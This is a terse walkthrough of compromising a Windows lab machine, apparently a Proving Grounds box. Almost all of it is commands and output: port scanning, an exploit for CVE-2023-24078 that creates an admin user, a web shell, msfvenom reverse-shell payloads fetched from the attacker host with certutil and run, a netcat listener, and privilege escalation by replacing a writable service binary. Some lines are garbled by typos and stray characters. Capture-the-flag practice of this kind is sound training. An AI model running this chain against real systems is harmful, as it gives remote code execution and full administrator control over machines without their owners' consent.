

```

(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.172.127 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.172.127:135
Open 192.168.172.127:139
Open 192.168.172.127:445
Open 192.168.172.127:5040
Open 192.168.172.127:7680
Open 192.168.172.127:8000
Open 192.168.172.127:3306
Open 192.168.172.127:33033
Open 192.168.172.127:30021
Open 192.168.172.127:44330
Open 192.168.172.127:45332
Open 192.168.172.127:45443
Open 192.168.172.127:49664
Open 192.168.172.127:49666
Open 192.168.172.127:49665
Open 192.168.172.127:49667
Open 192.168.172.127:49668
Open 192.168.172.127:49669

PORT      STATE SERVICE      REASON  VERSION
135/tcp    open  msrpc        syn-ack Microsoft Windows RPC
139/tcp    open  netbios-ssn  syn-ack Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds? syn-ack
3306/tcp   open  mysql?       syn-ack
5040/tcp   open  unknown      syn-ack
7680/tcp   open  pando-pub?   syn-ack
8000/tcp   open  http-alt     syn-ack BarracudaServer.com (Windows)
30021/tcp  open  ftp          syn-ack FileZilla ftpd 0.9.41 beta
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -r--r--r-- 1 ftp ftp          536 Nov 03 2020 .gitignore
| drwxr-xr-x 1 ftp ftp          0 Nov 03 2020 app
| drwxr-xr-x 1 ftp ftp          0 Nov 03 2020 bin
| drwxr-xr-x 1 ftp ftp          0 Nov 03 2020 config
| -r--r--r-- 1 ftp ftp          130 Nov 03 2020 config.ru
| drwxr-xr-x 1 ftp ftp          0 Nov 03 2020 db
| -r--r--r-- 1 ftp ftp          1750 Nov 03 2020 Gemfile
| drwxr-xr-x 1 ftp ftp          0 Nov 03 2020 lib
| drwxr-xr-x 1 ftp ftp          0 Nov 03 2020 log
| -r--r--r-- 1 ftp ftp          66 Nov 03 2020 package.json
| drwxr-xr-x 1 ftp ftp          0 Nov 03 2020 public
| -r--r--r-- 1 ftp ftp          227 Nov 03 2020 Rakefile
| -r--r--r-- 1 ftp ftp          374 Nov 03 2020 README.md
| drwxr-xr-x 1 ftp ftp          0 Nov 03 2020 test
| drwxr-xr-x 1 ftp ftp          0 Nov 03 2020 tmp
|_ drwxr-xr-x 1 ftp ftp          0 Nov 03 2020 vendor
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
|_ ftp-bounce: bounce working!
33033/tcp  open  unknown      syn-ack
44330/tcp  open  ssl/unknown   syn-ack
|_ ssl-date: 2024-04-26T01:22:43+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=server demo 1024 bits/organizationName=Real Time
Logic/stateOrProvinceName=CA/countryName=US/localityName=Laguna
Niguel/organizationalUnitName=SharkSSL/emailAddress=ginfo@realtimelogic.com
| Issuer: commonName=demo CA/organizationName=Real Time
Logic/stateOrProvinceName=CA/countryName=US/localityName=Laguna
Niguel/organizationalUnitName=SharkSSL/emailAddress=ginfo@realtimelogic.com
45332/tcp  open  http          syn-ack Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.3.23)
|_ http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.3.23
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS TRACE
|_ Potentially risky methods: TRACE
|_ http-title: Quiz App

```

```

45443/tcp open  http          syn-ack Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.3.23)
|_ http-title: Quiz App
|_ http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.3.23
|_ http-methods:
|   Supported Methods: HEAD GET POST OPTIONS TRACE
|_ Potentially risky methods: TRACE
49664/tcp open  msrpc          syn-ack Microsoft Windows RPC
49665/tcp open  msrpc          syn-ack Microsoft Windows RPC
49666/tcp open  msrpc          syn-ack Microsoft Windows RPC
49667/tcp open  msrpc          syn-ack Microsoft Windows RPC
49668/tcp open  msrpc          syn-ack Microsoft Windows RPC
49669/tcp open  msrpc          syn-ack Microsoft Windows RPC
``` First`http://192.168.172.127:8000`then use [CVE-2023-24078] (https://github.com/overgrowncarrot1/CVE-2023-24078)First, can为

```

```

(kali㉿kali)-[~/pgplay]
└─$ python3 CVE-2023-24078.py -I 192.168.45.189 -p 445 -r 192.168.172.127 -P 8000

```

Email adm1n@localhost.local , username adm1n password P@ssw0rd!  
 Creating admin user on http://192.168.172.127:8000/Config-Wizard/wizard/SetAdmin.jsp  
 ``` then use busterhttp://192.168.172.127:45332

```

(kali㉿kali)-[~/pgplay]
└─$ gobuster dir -u http://192.168.172.127:45332 -w /home/kali/SecLists/Discovery/Web-Content/common.txt

=====
Starting gobuster in directory enumeration mode
=====
/index.html          (Status: 200) [Size: 887]
/phpinfo.php         (Status: 200) [Size: 90796]
Progress: 4727 / 4727 (100.00%)
=====
``` canCheck`http://192.168.172.127:45332/phpinfo.php`, canshell`C:/xampp/htdocs`

```

```

DOCUMENT_ROOT C:/xampp/htdocs
REQUEST_SCHEME http
CONTEXT_PREFIX no value
CONTEXT_DOCUMENT_ROOT C:/xampp/htdocs
SERVER_ADMIN postmaster@localhost
SCRIPT_FILENAME C:/xampp/htdocs/phpinfo.php
``` http://192.168.172.127:8000/fs/C:/xampp/htdocs/uploads.phpCheck192.168.172.127:45332/s.php?cmd=whoami

```

```

medjed\jerren
``` uploadshell

```

```

(kali㉿kali)-[~/pgplay]
└─$ msfvenom -p windows/shell_reverse_tcp lhost=192.168.45.189 lport=445 -f exe > met_445.exe

```

192.168.172.127:45332/s.php?cmd=certutil.exe -f -urlcache -split http://192.168.45.189/met\_445.exe c:/windows/temp/met\_445.exe

192.168.172.127:45332/s.php?cmd=c:/windows/temp/met\_445.exe

```C:\Users\Jerren\Desktop>get local.txt

```

C:\Users\Jerren\Desktop>type local.txt
type local.txt
8a6c4e74ed85aa7e4ff1527a85a919b7
``` [edb-48789] (https://www.exploit-db.com/exploits/48789)

```

```

(kali㉿kali)-[~/pgplay]
└─$ msfvenom -p windows/shell_reverse_tcp lhost=192.168.45.189 lport=139 -f exe > met_139.exe

```

```

(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp139

```

```

C:>cacIs C:\bd
C:\bd BUILTIN\Administrators:(OI)(CI)(ID)F
NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C

C:>icacIs C:\bd\bd.exe

```

```
icacls C:\bd\bd.exe
C:\bd\bd.exe BUILTIN\Administrators:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Users:(I)(RX)
NT AUTHORITY\Authenticated Users:(I)(M)
```

can modify

```
C:\bd>rename bd.exe bd.exe_1
C:\bd>certutil.exe -urlcache -f http://192.168.45.189/met_139.exe bd.exe
C:\bd>shutdown /r
"" wait for reverse shellget Administrator,C:\Users\Administrator\Desktopget proof.txt
```

```
C:\Users\Administrator\Desktop>type proof.txt
174d246dbf765450f6b0b316dbe2ae42
```